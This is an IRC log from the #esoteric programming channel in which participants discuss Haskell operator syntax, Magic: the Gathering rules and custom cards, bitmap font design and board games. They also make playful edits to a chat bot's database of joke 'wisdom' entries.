16:07:56  Bits a => a -> a -> a
16:09:03  > 5 `xor` 3
16:09:05   6
16:09:27 <\oren\> oh, that magic syntac
16:09:56  how's that magic?
16:10:28 <\oren\> well, it determines that some operators are operators just because they are, while others must be surrounded by ``
16:10:48 <\oren\> (5 `^` 3)
16:11:01 <\oren\> > (5 `^` 3)
16:11:03   :1:5: parse error on input ‘^’
16:11:15 <\oren\> oh fuck you haskell
16:11:33  everything starting with a letter is a function
16:11:39  easy as that
16:12:09 <\oren\> what about arguments?
16:12:45 <\oren\> > (^ 3 5)
16:12:47       Could not deduce (Integral b0) arising from a use of ‘^’
16:12:47       from the context (Num a)
16:12:47         bound by the inferred type of it :: Num a => a -> a
16:13:04 <\oren\> > (`^` 3 5)
16:13:06   :1:3: parse error on input ‘^’
16:13:40  ^ does not start with a letter, therefore ^ is an operator and needs infix notation
16:14:04  (operator) is a function and `function` is an operator
16:14:34 <\oren\> (5 `(^)` 3) 
16:14:47 <\oren\> > (5 `(^)` 3) 
16:14:49   :1:5: parse error on input ‘(’
16:14:50  Give me some $$, and I can make these parentheses... disappear!
16:15:46 <\oren\> > ((`xor`) 5 3) 
16:15:48   :1:8: parse error on input ‘)’
16:15:53  Stuff made of letters is a function, stuff made of symbols is an operator.
16:16:19  You can use `` on stuff made of letters and () on stuff made of symbols, but you can't combine the two... I guess.
16:20:32  Stuff I learned. Copiable values are generally the values printed on the card; additional effects don't matter. If two identical replacement effects are trying to modify what happens to an object, the object's controller chooses which one wins. Also some complicated damage replacement thing.
16:21:54 <\oren\> so are you learning this by going over the rules, or by poring over official tournament game transcripts or what?
16:22:12  By taking practice rules exams and looking at the ones I got wrong.
16:22:30  Shock says: "If a source would deal damage to a creature or player, it deals double that damage to that creature or player instead." That's a replacement effect. There's also a replacement effect allowing the controller to redirect damage from a player to a planeswalker.
16:22:47  The affected player chooses which replacement effect is applied first, in this case.
16:23:50  oh, M:tG talk?
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16:25:43  Yup.
16:25:54  Funny thing about that neural net I've been training on #esoteric logs...
16:26:26  It has learned that we frequently say "Magic: the [capitalized word]". It hasn't learned that that word is always "Gathering".
16:26:34  \oren\: functions are prefix by default, operators infix by default. `·` turns a function into infix, (·) turns an operator into prefix. that's all there is to it, really  (where 'function' means identifier consisting of letters & digits, 'operator' means identifier consisting of symbols)
16:27:03  So the neural net keeps producing stuff like "Magic: the Computer" and "Magic: the Imagination" and whatnot.
16:28:18  > [xor 5 3, 5 `xor` 3, (^) 5 3, 5 ^ 3]
16:28:20   [6,6,125,125]
16:28:35 * FireFly thinks it's rather neat
16:31:15  how comes there is so few hearthstone talk here
16:31:40  Good question.
16:31:44  So, about Hearthstone.
16:31:49  What are those solo adventures like, anyway?
16:32:04  I wonder why they don't offer any kind of free trial for those.
16:32:33  i don't think so, but there's a shitload of youtube videos
16:32:49  younwant to purchase them sooner or later anyways
16:32:54  Oh right.
16:33:19  people are trying reno cobtrol shamans
16:33:31  i am pretry curious on how that will turn out
16:33:49  Reno?
16:34:42  reno jackson is a new card. "if you don't have any card twice left in your deck, fully heal your hero"
16:36:39  Now there's a card you probably wouldn't see in MTG.
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16:37:11  What happens if you run out of cards in your deck?
16:37:48  on the first attempt to draw you lose one life
16:37:57  on the second, you lose second life
16:38:06  repeat until death occurs
16:38:49  so it is actually a viable strategy to make your opponent draw as much as possible
16:38:54  the second time you lose 2, to clarify
16:39:03  er, yeah
16:39:04  so the rate at which you lose life accelerates
16:39:29  said strategy is known as milling
16:39:55  I fought a rogue mill deck once, it was awful :(
16:40:13  mill druids are way nastier
16:40:35  Probably. I only played hearthstone for a bit, got tired of it
16:40:36  druids zave a card that says "destroy an enemy minion. your opponent draws a card"
16:41:09  i addition to those nasty murlocs that make you draw two cards
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16:48:49  i like that game a lot. the rules are simple, yet the game is challenging
16:49:02  and there's an android app
16:53:54  wait, when did they errata Daru Stinger back to not a human?
16:54:17  let me check yawgatog
16:54:32  it became a human at Lorwyn, as I expected
16:54:59  b_jonas: FRF
16:55:11  it was reverted because of the interaction with amplify
16:55:16  damn
16:55:23  thanks
16:55:30  you were fast to bisect
16:55:36  and yes, it's at FRF
16:55:40  I just googled "daru stinger update bulletin"
16:55:54  now my Daru Stingers are worthless
16:56:01  I can no longer use them with clerics
16:56:19  not quite worthless, mind you, because I have made decks with practically nothing but soliders
16:56:23  but almost worthless
16:56:37  There's no trading in Hearthstone, right?
16:57:48  I must have missed that update somehow. I usually try to read the update bulletins.
17:03:16  tswett: indeed
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17:04:11  I think they say it's to avoid unfair trades as well as creating an in-game economy, but I think it's just to encourage people to buy packs for real money
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17:18:22  wait what… why is Benevolent Unicorn's ability phrased like that? Does it get around Everlasting Torment?
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17:43:36  Right, when I browse my collection I understand why I like to play white so much. I have a ton of good white cards.
17:44:20  I should buy good black and blue cards so I can build better decks of those too.
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17:47:12  Yeah, with "Enchant Creature" and "Enchantment Creature" both appearing on the type line, it's not so easy to quickly separate creature cards from non-creature cards anymore. I have to be careful.
17:47:24  Luckily I have almost no Enchantment Creatures … yet
17:50:18  b_jonas: imagine how confusing it would be if enchant meant creature
17:56:18  shachaf: no, but "Summon" and "Summon Creature" mean creature
17:56:27  You could also try to play multicolors
17:56:43  zzo38: oh, I do
17:57:15  works well for some decks
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18:05:34 <\oren\> what if a cords type was Creature - Enchanter
18:10:16  \oren\: M:tG has no Sorcerers
18:10:34  ok wait, it does have sorcerers, by name
18:11:09  but they have type Wizard or some other creature type
18:11:27  also, there are enchanters and enchantresses by name
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18:14:10  there are no landers though
18:14:54  and no instanters under that name, although Teferi, Mage of Zhalfir is one
18:19:34  My opinion of improving rules of Magic: the Gathering, much is to make it more mathematically elegant. But I have a few others too
18:20:30  They don't have Enchant Creature on the type line any more, do they?
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18:24:35  That is correct it doesn't.
18:24:54  There is no "enchant" type; "enchant" is a keyword ability.
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18:29:38  tswett: they don't, but we don't have the guys from 1984 who replace the printed cards
18:34:52  Make deck of all five colours
18:35:32  I don't have such a deck, but I do have a four-colored deck. I was thinking of modifying it to three colors though, but I'm not sure that's what I'll do.
18:35:38  It's a Spirit-Arcane deck
18:36:50  Have you made up your own cards?
18:37:03  Have you made up cube for cube draft?
18:41:17  \oren\: http://cosmic.mearie.org/tmp/font-sample I'm trying something like this
18:41:58  I had my own bitmap font for a long time (not in general use but for occasional uses), but probably it is the first time I'm seriously trying to extend that
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18:45:19  zzo38: no cube, and only very few own cards
18:45:48  lifthrasiir: great, another bitmap font maker on esoteric
18:46:50 <\oren\> lifthrasiir: whoa, awesome!
18:49:00 <\oren\> so are those images?
18:49:33 <\oren\> holy crap, they're inline SVG's!
18:49:34  SVG, huh. Nice, except for the lack of hinting.
18:50:18  (...except that bitmap fonts aren't hinted)
18:51:00  just for the initial testing (I really don't know how to make a TTF/OTF font :)
18:51:11 <\oren\> Try FontForge
18:51:14  Bitmap fonts don't need hinted. However if something else is compiled into a bitmap font then hints should be used. (It is possible to do this with METAFONT)
18:51:31  b_jonas: I never made the cube either, but I made many cards; what card you make up?
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18:58:28  zzo38: I made an enchantment that gives reverse protection, that is, everything else gets protection from the enchanted permanent. I don't remember the details, but it must cost {1U}.
18:58:55  Yes, blue doesn't normally get protection cards.
19:02:10  Even recently I made up some more cards. One such card is: You can take two cards from your sideboard, opponent forces you to ante one of them, the other one is placed on top of your library.
19:03:08  Another card is: Look in opponent's sideboard for a nonbasic card, if you find one then exile top two cards of opponent's library and put the found card on top of their library.
19:04:05  It might be good in Limited, because they may have a few cards of the wrong color in their sideboard.
19:07:38  zzo38: that's even better in a Conspiracy draft if you find a Conspiracy in the sideboard, although those are unlikely to occur in the sideboard
19:08:12  Actually my card does specifically say "traditional nonbasic nonconspiracy card", so you can't choose one of those.
19:08:47  (I did think of that!)
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19:22:48  Have you designed any good creatures for {B}? I suffer from a lack of good creatures costing {B}. I should buy some.
19:23:54  I have cards costing {B} but no creatures.
19:24:11  sure, there are lots of good instants and sorceries for {B}
19:24:13  If you can suggest something I will add it though.
19:24:35  Deathmark, Disfigure, etc
19:25:01  I can't design a good creature for {B} because I have to see examples for that first, and there's too few
19:26:45  hmm, there's a dark twin of Child of Thorns called Fume Spitter. I need that. I have an irrational liking of Child of Thorns, despite that it's not a really good creature.
19:26:56  Name, subtype, power/toughness, and special abilities must be chosen. (You can optionally provide notes and/or flavor text which I will also add to my file.) Probably it could be 1/1 and have one special ability but what kind? I don't know!
19:27:38  Possibly with regeneration (at what cost?)
19:28:03  I think I need Diregraf Ghoul too
19:28:21  and probably that vampire
19:28:40  Guul Draz Vampire
19:30:07  let's see. Plague Beetle and Prickly Boggart can't hurt too.
19:30:56  Even if I did design such card, you can't buy it; you would have to proxy it, and you need to agree to opponent what cards and other deck construction rules are legal; if you are making both decks by yourself this is less important but you should still show both decks to opponent to see how the game is being played, and switch deck afterward. And if you want to use proxies it is recommend to use card sleeves too.
19:31:05  sure
19:32:20  (My own policy would be that if you wish to proxy you must write the full Oracle text of the card you wish to proxy; simply writing the name of the card isn't sufficient.)
19:32:35  oh right, Smolder Initiate is a good one, I should buy that
19:32:45  I have the light twin 
19:33:01  but the dark one is better of course
19:33:46  Tormented Soul... nice, I need that
19:34:28  let me list the uncommons
19:35:53  Gnarled Scarhide seems reasonable
19:36:31  Mardu Shadowspear is nice too
19:39:52  yes, they don't print many nice creatures for {B}. no wonder I have so few.
19:46:56  Therefore make up such a card.
19:50:41  Maybe this way:   1/1 ;; {B}, Discard a card: Regenerate ~.   Is that OK or something should be made difference?
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21:24:03  You can look at DVIPBM http://zzo38computer.org/prog/dvipbm.zip I have not yet added documentation and there are still some features I intend to add, but it does work now as is; I have used it with foo2zjs to print stuff!
21:26:52  You can tell me if you have the suggestion or other question or complaint
21:29:20  I believe currently it is only for Linux, although the only Linux-specific code is in popen_noshell.c so if you can write an implementation of that for other systems then you can probably use it on other systems too.
21:43:41  https://twitter.com/J_Arcane/status/668545293164683264
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22:28:52  Some of Magic: the Gathering cards I invented includes some strange thing that they have not done before, even more strange than some stuff in Time Spiral block
22:30:58  What's the strangest?
22:31:38  shachaf: maybe that artifact that triggers in the cleanup step and does nothing?
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22:45:25  What was the text of that one?
22:50:21  shachaf: dunno, find it in http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
22:54:05  Tiny Shard?
22:54:30  `le/rn zzo38cards/http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
22:54:34  Learned «zzo38cards»
22:55:28  That also has Thin Air.
22:56:39  yes, that
22:57:07  but I'm not sure if that's the strangest card. zzo38 had designed quite a few strange cards.
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23:36:35 <\oren\> hi hppavilion[1] 
23:36:45  He\\oren\
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23:40:07  you never told me why you are a computer
23:40:14  nor why you create so many new pages
23:44:07  quintopia: The computer is because I had an HP when I created my first online account, and didn't want to forget my username
23:44:27  The 1 is because I wasn't feeling creative when I found that hppavilion was taken as a Minecraft username
23:44:45  The square brackets are because it looks like python and this is a programming channel
23:45:07  All the pages are because of some deep psychological flaw or something I am incapable of understanding
23:45:16  My first laptop computer was an HP Pavilion.
23:45:18 -!- mauris has joined.
23:45:32  I've also been at the HP Pavilion building in San Jose. But it looks like it's been renamed since then.
23:45:41  Actually I was only near that building, not in it.
23:45:44  Actually it's not even a building.
23:45:57  is it a pavilion
23:46:09  Apparently it's an indoor arena.
23:46:14  For hockey?
23:46:17  oh
23:46:29  they call those pavilions sometimes
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23:47:23  Apparently HP paid >$3 million/year to name the place after hppavilion[1].
23:47:44  Probably.
23:48:01  Sounds like something people would do based on me.
23:48:06  this is good to know
23:48:13  please add it to the wisdom shachaf
23:48:17  thachaf
23:48:21  nachaf
23:48:43  FINE I'LL DO IT
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23:49:48  `le/rn hppavilion[1]/HP pays $3.5m a year to name an arena in San Jose after him.
23:49:51  Learned «hppavilion[1]»
23:50:05  QUINTHELLOPIAAAAAAAAAAAAAAAAÁAAAAAAAAAA!
23:50:08  :)
23:50:24  HELLOILYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!
23:50:41  hppavellon[1]. you are now fit to be wisdommed.
23:51:49  quintopia: But they stopped doing it in 2013.
23:52:07  well i don't know how to change pays to paid
23:52:16  boily: are you expert eoughto edit wisdom
23:52:39  Also it's less than $3.1 million.
23:52:50  I mean that it's less than $3.5 million.
23:52:55  well that part doesn't have to be exact
23:53:00  It's $3.1 or $3.25 or $3.35 or something.
23:53:12  PEOPLE GET APPROXIMATION
23:53:20  You could just say $3
23:53:28  well
23:53:30  i could
23:53:35  if i knew enough to edit it
23:53:56  `` sed -i 's/pays/paid/' wisdom/hppavilion[1]
23:53:57  No output.
23:54:22  hokay!
23:55:20  boily: what's new
23:57:05  completely drained. did some volunteering at a boardgaming salon, fsvo some.
23:57:28  @wn salon
23:57:29  *** "salon" wn "WordNet (r) 3.0 (2006)"
23:57:30  salon
23:57:30      n 1: gallery where works of art can be displayed
23:57:30      2: a shop where hairdressers and beauticians work [syn: {salon},
23:57:30         {beauty salon}, {beauty parlor}, {beauty parlour}, {beauty
23:57:31         shop}]
23:57:33      3: elegant sitting room where guests are received
23:57:42  animating special events, accueil, food, grilling panini, explaining games...
23:58:01  shachaf: "salon" is being used as a placeholder while I find a proper translation hth
23:58:03  shachaf: try a french dictionary hth
23:58:46  what games did you demo?
23:58:53  exposition, exhibition, fair?
23:59:14  convention?
23:59:30  event?
23:59:36  I don't want to say convention.
23:59:36  in hebrew "salon" means "living room"
23:59:45  I think "fair" is the closest.
23:59:51  fair enough

2015-11-23:

00:00:02 * quintopia goes looking for the frying pan
00:00:10  the most common meaning of fr:salon: is en:"living room".
00:00:17 * boily lends quintopia his mapole
00:00:27  i don't even remember what it looks like
00:00:33  `? mapole
00:00:34  A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
00:00:42  mapley and poley
00:00:44  is it like =================================
00:01:15  mostly, with a =====-_-´ bit for ærodynamism.
00:01:33  shachaf =======================(((j==
00:01:42  uh
00:01:43  but yeah, yesterday I animated Pingo Pingo, while today I did Zombie 15.
00:01:49  something may have happened to your mapole
00:01:57  hopefully boily doesn't notice
00:01:59  (those were the special events)
00:01:59  there is a hand holding it
00:02:06  what does animating mean
00:02:10  uhm...
00:02:11  DM?
00:02:31  boily: i played a board game called shachaf of nottingjam a few weeks ago
00:02:48  but
00:02:58  you invented that neologism
00:03:01  I DUN GET IT
00:03:27  somewhat like a DM. setup, explanations, entertainment, catching thrown and shot game pieces...
00:03:39  ha
00:03:50  i don't know either of those games
00:03:59  and i think there are WAY TOO MANY zombie games
00:04:15  also it happened that those two games had a timed soundtrack, so I had to play it on a speaker and stuff.
00:04:16  i think most zombie games are in the "way too many" category
00:04:22  apparently that's how zombies work?
00:04:38  i have never heard of such games
00:04:43  Zombie 15 is incredible: you have 15 minutes to get through a scenario, without dying too much.
00:05:00  i know a gmae where you put a soundtrack on shuffle and it times itself
00:05:48  i like this idea of a 15 minute game
00:06:04  because zombicide's "UP TO 6 HOURS" is not fun nono
00:06:23  I can't play Zombicide with my friends. they don't let me :/
00:06:44  i can't because i will hate everyone if i do.
00:07:03  WHY ARE YOU TAKING SO LONG TO DECIDE WHAT TO DO JUST DO SOMETHING LETS FINISH THIS DAMN GAME
00:07:15  also i don't know that i've ever seen anyone lose.
00:07:47  I add challenge to the game ^^
00:08:03  do you play chaotic neutral
00:08:29  yup!
00:08:55  i might play with you then. people take it way too seriously
00:09:15  a coop has to be dramatic.
00:09:31  the only one I play full lawful good is Red November, because fungot is it hard.
00:09:40  fizzie: FUNGOOOOOOOOOOOOOOOOOOOOOOT!
00:09:49  fizzie: please :D
00:11:12  boily: what about XCOM.
00:11:14 -!- ent0nces has quit.
00:11:35  it is a sad day in fungotville
00:12:11  I never XCOMmed.
00:12:43  boily: how pooched are you
00:13:40  shachaf: my feet are pooched. I saw a mastiff today. some passerbys at the event had dogs.
00:13:56  any newfoundland pooches?
00:15:08  I don't think so. poodles, labradors, the aforementioned mastiff, but no newfie pooches.
00:16:03  you mastiff not noticed them
00:16:29  *THWACK*
00:17:27  why do you like newfies anyway
00:18:13  :/
00:18:20 <\oren\> OK! i've now made a program that fixes all the bullshit that fontforge screws up when it generates my font!
00:18:53 <\oren\> http://www.orenwatson.be/ttfcorrect.htm
00:21:24  :(
00:21:30 <\oren\> however, I still can't get chrome to display my font without blurring it
00:22:13 <\oren\> I need to add more comments to this code
00:22:40  boily: motivate me
00:23:07  quintopia: about?
00:23:35 -!- mauris has quit (Ping timeout: 264 seconds).
00:23:57 -!- hppavilion[1] has quit (Ping timeout: 272 seconds).
00:26:22 <\oren\> Ok, apparently my font doesn't work well with "DirectWrite", some new chrom font renedering algortihm
00:27:16  chrom renedering?
00:27:51  DirectWrite is a Windows thing.
00:29:54 <\oren\> Well only chrome uses it then
00:30:08  to reneder chroms
00:30:36 <\oren\> hold on I'll screenshoot it
00:33:50 <\oren\> http://www.orenwatson.be/goddamnchrome.png
00:34:05 <\oren\> see, only chrome is blurry
00:34:31  my eyes. they are not happy.
00:34:38 <\oren\> specifically, only chrome, and only the white text on chrome
00:35:13 <\oren\> the blue text is not nearly as blurred
00:35:47 <\oren\> firefox displays pixel-perfect with no blurring
00:35:59 <\oren\> as does my temrinal program
00:55:40 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
00:57:40  The U-FU-FU channel?
00:58:55 <\oren\> はい。羽不不
01:00:07  すみませんがちょっと違うと思います
01:00:47  雨符府でしょう
01:01:37 * lifthrasiir wonders if it is a perfect timing for tsukkomi
01:03:57 <\oren\> I wonder if chrome pays attention to embedded bitmaps in a ttf
01:05:49  今睡眠のじかんになります
01:05:58 <\oren\> even god damn IE doesn't use this stupid directwrite bullshit
01:06:10 -!- boily has quit (Quit: PUGILISTIC CHICKEN).
01:13:29 -!- hppavilion[1] has joined.
01:13:57  shachaf: NEWFOUNDLANDS!
01:14:09  WHOO!
01:34:26 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
01:35:47  lel
01:52:40  made some convenience pixel codes for marking pixels (rather than subpixels)
01:53:14  so that, there are now two codes for upper-left half-triangles, one filled in 1:1 scale and one empty.
01:53:34  I've updated font-sample.html to show both versions
01:55:22 <\oren\> Oh, cool
01:55:48  FYI, I'm working with... a... plain text.
01:58:25  \oren\: http://cosmic.mearie.org/2015/11/font/font.txt
01:58:34  kind of crazy
01:59:37 <\oren\> that looks very similar to the format that GNU unifont was made with
02:01:00  does it have a subpixel support?
02:04:24 -!- infinitymaster has joined.
02:26:56 <\oren\> lifthrasiir: I dunno.
02:29:52 <\oren\> appently not, it uses only on (#) and off (-) for each pixel
02:35:53  \oren\: my code has half triangles (/ \) and quad triangles (d b 9 P < > ^ v etc.) as well
02:36:08  for the smoother glyph in the large rendering
02:36:37  ah, d b 9 P are for half triangles*
02:52:17  lifthrasiir: do you have any sample text rendered with this?
02:52:40  Looks neat
02:55:36  How do the "glyph X = Y" lines work? it looks like !'s get replaced with the Y glyph or something; is that it?
02:56:01  Ah.. for colour purposes I suppose
02:58:12  FireFly: combining glyphs. ! is a placeholder for hints, but I want to verify that ! is actually overwritten by other glyphs in the future.
02:58:32  I see
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03:09:32 -!- infinitymaster has joined.
03:43:31 <\oren\> I added small glagolitic ⰰⰱⰲⰳⰴⰵⰶⰷⰸⰹⰺⰻⰼⰽⰾⰿⱀⱁⱂⱃⱄⱅⱆⱇⱈⱉⱊⱋⱌⱍⱎⱏⱐⱑⱒⱓⱔⱕⱖⱗⱘⱙⱚⱛⱜⱝⱞ
03:54:43  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45596&oldid=45595 * Quintopia * (-7) /* Python 2 */ More golfing!
04:02:31  Maybe a program can also be made that can convert such format that has the triangles and so on into TFM/PK as well (although TFM requires that metrics depend only on the low 8-bits of the character code, but PK supports up to 32-bit character codes); kerning and ligatures are also supported in this case. Other formats such as WalText2 possibly it would also be possible to make compiler into TFM/PK
04:05:13 <\oren\> lifthrasiir: your capital Y is one pixel too wide
04:05:54  I'm aware, the odd-width glyph is quite hard to deal with
04:06:44  Does your format have ligature/kerning?
04:07:15  not yet.
04:07:24  I have some design in mind
04:09:10 <\oren\> the overall aspect ratio is 8:16 which is the same as GNU unifont, but less than my font which is 9:16
04:11:16  My DVIPBM program does not need TeX or METAFONT at all. If you make your own typesetting software and/or font software, it can use that just fine. It will work with any resolution even with non-square pixels, and any paper size. And, if your printer driver does not support PBM, you can use ImageMagick or other software to conver it. I expect it to work just fine with troff although I have not tested this.
04:12:34 <\oren\> 8:16 does have the advantage that double-width characters will be perfect squares at 16:16
04:12:50 <\oren\> whereas mine are 18:16
04:13:09  yeah, that is a good property
04:13:12  Yes, you have that advantage if you are trying to make square characters
04:16:07  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45597&oldid=45596 * Quintopia * (+2) /* Python 2 */ More golfing!
04:47:37  [wiki] [[Dimensions]]  http://esolangs.org/w/index.php?diff=45598&oldid=41742 * Quintopia * (-159) removed the languages that weren't actually related to Dimensions
05:30:51  zzo38: What if I have only a teletype?
05:45:55  That depends what you are trying to do with it.
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06:07:37 -!- infinitymaster has joined.
06:20:13  [wiki] [[L]] N http://esolangs.org/w/index.php?oldid=45599 * Phase * (+1529) Created page with "'''L''' is an esoteric language made by [[User:Phase|Phase]] that only uses l and \n.  * l increments the accumulator by one * \n<..."
06:28:14  [wiki] [[L]]  http://esolangs.org/w/index.php?diff=45600&oldid=45599 * Phase * (+207) 
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07:42:16  `danddreclist 71
07:42:17  danddreclist 71: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex
07:53:28 -!- J_A_Work has joined.
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07:57:25 -!- por has joined.
07:57:33  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45601&oldid=45597 * Quintopia * (-3) /* Python 2 */ Moregolfy!
07:58:11  was wisdom.pdf created with latex?
07:58:48  oops spoke too soon! i just read that is was.
08:05:30 -!- MoALTz has quit (Ping timeout: 240 seconds).
08:05:52  I think so.
08:08:05  And, level20.dvi was created with Plain TeX.
08:08:36 -!- zadock has joined.
08:08:39  WHY UPPERCASE Plain
08:10:13 -!- bb010g has quit (Quit: Connection closed for inactivity).
08:10:18  I don't know; I think often (not always) is written like that
08:19:15 -!- Lord_of_Life has quit (Ping timeout: 240 seconds).
08:24:56 -!- zadock has quit (Quit: Leaving).
08:28:16 -!- infinitymaster has quit (Quit: Leaving...).
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08:29:13  zzo38: level20.dvi?
08:30:37 -!- AnotherTest has joined.
08:31:37 -!- fungot has joined.
08:41:39  I just updated it a few minutes ago even. It is  http://zzo38computer.org/dnd/recording/level20.dvi  and the source-codes also available, with level20.tex in same directory. There is the notice of updating on this IRC
08:42:23  I wrote that as well as the macro package to go with it (which I also wrote, and is also available in the same directory). They are all public domain.
08:43:27  If you look at all of the logs, you can see a lot of stuff being discussing in this IRC.
08:53:58  Do you use TeX for anything?
09:11:25 -!- MoALTz has joined.
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09:19:10 -!- AnotherTest has quit (Ping timeout: 240 seconds).
09:24:24  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45602&oldid=37783 * Quintopia * (-4) /* Examples */ bugfix
09:24:34 -!- oerjan has joined.
09:27:41  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45603&oldid=45602 * Quintopia * (+0) /* Examples */ bugfix
09:28:36  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45604&oldid=45603 * Quintopia * (+4) Undo revision 45602 by [[Special:Contributions/Quintopia|Quintopia]] ([[User talk:Quintopia|talk]])
09:28:59  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45605&oldid=45604 * Quintopia * (+0) Undo revision 45603 by [[Special:Contributions/Quintopia|Quintopia]] ([[User talk:Quintopia|talk]])
09:34:28  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45606&oldid=45605 * Quintopia * (+2252) implementation
09:36:49  [wiki] [[Platts]]  http://esolangs.org/w/index.php?diff=45607&oldid=45606 * Quintopia * (+58) /* Syntax */ Expanded allowed symbols to match implementation
10:00:18 -!- por has quit (Read error: Connection reset by peer).
10:30:18  `help
10:30:19  Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
10:33:01  Why does "Consume Spirit" say "Spend only black mana on X." rather than "Spend only black mana on {X}."? In both the oracle text and the M12 printed text.
10:34:22  Hmm, the M12 version has new flavor text, from Sorin, compared to the 10E version I have.
10:35:38  `undo 6237
10:35:41  patching file 'wisdom/hppavilion[1]'
10:36:10  general principle: if you change a wisdom without checking if there is one there first, i may revert it hth
10:36:24  (i may still do it if you do, but less likely.)
10:37:09  `? hppavilion[1]
10:37:10  hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe.
10:37:36  `` sed -i 's/^/zzo38cards are at /' wisdom/zzo38cards
10:37:38  No output.
10:37:43  `? zzo38card
10:37:44  zzo38card? ¯\(°​_o)/¯
10:38:00  `` mv wisdom/zzo38card{s,}
10:38:03  No output.
10:38:30  also if your wisdom is not a complete sentence i may edit it.
10:39:05  `? zzo38card
10:39:07  zzo38cards are at http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
10:39:19  `wisdom
10:39:21  gentlebeing/A gentlebeing is a gender and species neutral gentleman.
10:39:56  `` sed -i 's/$/./' wisdom/vi
10:39:58  No output.
10:40:35  I really like small, domain-specific languages like lifthrasiir's text-based font description language up there
10:40:56  `` sed -i 's/$/./' wisdom/'imperative language'
10:40:58  No output.
10:41:01  Hmm
10:42:00  `` sed -i 's/e/E/' wisdom/erudecorp
10:42:02  No output.
10:43:03  `` echo '' >>wisdom/'imperative language'
10:43:06  No output.
10:43:32  `wisdom
10:43:33  precious/precious? That doesn't ring a bell. ¯\(°​_o)/¯
10:43:59  `? 404
10:44:00  404? ¯\(°​_o)/¯
10:44:07  `? 1337
10:44:08  1337? ¯\(°​_o)/¯
10:44:15  `? 65535
10:44:16  65535? ¯\(°​_o)/¯
10:45:19  !leet hm was this it
10:45:47  `` ls bin/l*t
10:45:48  bin/list \ bin/llist
10:45:56  `` ls interp/l*t
10:45:57  ls: cannot access interp/l*t: No such file or directory
10:46:01  `` ls interps/l*t
10:46:02  ls: cannot access interps/l*t: No such file or directory
10:46:05  bah
10:46:51  @leet hm was this it
10:46:51  H/\/\ \/\/As +|-|iz0rz I+
10:46:51  `learn 1337 15 50 905
10:46:54  Learned '1337': 1337 15 50 905
10:47:31  FireFly: ah
10:47:58  There's some nonexistent command that occasionally gets corrected into @leet, but I forget what it was
10:48:21  well, that always gets corrected, but that people occasionally attempt
10:48:36  fungot, how do you think I should refactor this code
10:48:36  b_jonas: hey pitecus and jivera: orbit and twobit are perfect for that.
10:48:52  fungot: a jivera? is that like a zubera?
10:48:52  b_jonas: run the scheme system copies the expression for later
10:48:58  Apparently you should refactor your code into urbit
10:49:02  oh, that might work. thanks, fungot.
10:49:03  b_jonas: modulo 9, 9 is a free smalltalk. unfortunately, the worst amiga game i've seen it already, though; we've got both a profiler and a fnord fnord fnord x 2 y
10:49:25  `? 9
10:49:26  9? ¯\(°​_o)/¯
10:49:32  `learn 9 is a free smalltalk
10:49:44  Learned '9': 9 is a free smalltalk
10:50:47  `` sed -i 's/$/./' wisdom/9
10:50:49  No output.
10:51:39  @seen FireFly 
10:51:40  FIrEf|Y
10:51:43  that one.
10:51:44  good point
10:51:47  that aws the one
10:52:07  it briefly existed again some months ago
10:52:14  but int-e disabled it again.
10:52:18  Ah
10:53:39  It seems I missed more than one M:tG rules update bulletins. I'll have to go back to reread them carefully.
10:54:52  lifthrasiir: I'm not a fan of 6-dot braille not being consistent with 8-dot braille.. in part because I like to abuse braille as pixels, but also because I imagine it'd be bad for actual braille lettering
10:55:48  `` ls wisdom/hppavilion[1]
10:55:49  wisdom/hppavilion1
10:56:32  `` ls wisdom/hpp*
10:56:33  wisdom/hppavilion1 \ wisdom/hppavilion[1]
10:56:56  `? hppavilion(1)
10:56:57  hppavilion(1)? ¯\(°​_o)/¯
10:57:08  `rfw hhppavilion(1)
10:57:09  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rfw: not found
10:59:53  `? hppavilion1
10:59:54  higgledy piggledy / hp pavilion / doesn't like jokes that are / written in text; // uncontroversially, / one in a million is / roughly the chance they won't / be left perplexed
11:00:03  what, he has two
11:00:10  this one is better
11:01:30  i was wondering why boily's edit did nothing.
11:02:55  `? hppavilion
11:02:56  hppavilion? ¯\(°​_o)/¯
11:03:13  `? oerjan
11:03:14  Your famous evil overlord oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who hates Roald Dahl. He can never remember the word "amortized" so he put it here for convenience.
11:03:20  `? ørjan
11:03:21  ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
11:04:05  That's twice the amount of wisdom I have
11:04:17  OKAY
11:04:18  `? zaphod
11:04:19  zaphod? ¯\(°​_o)/¯
11:04:21  `? beeblebrox
11:04:22  beeblebrox? ¯\(°​_o)/¯
11:04:26  and it isn't even fun wisdom :(
11:04:30  `? zidane
11:04:31  zidane? ¯\(°​_o)/¯
11:04:33  `? FireFly 
11:04:34  FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon.
11:04:40  `? Effilry
11:04:41  Effilry? ¯\(°​_o)/¯
11:04:58  `? Örjan
11:04:58  oh wow, someone remembered my altnick
11:04:59  ​Örjan? ¯\(°​_o)/¯
11:08:03  `learn Effilry is eemnoos how ahs got it all deorst otu.
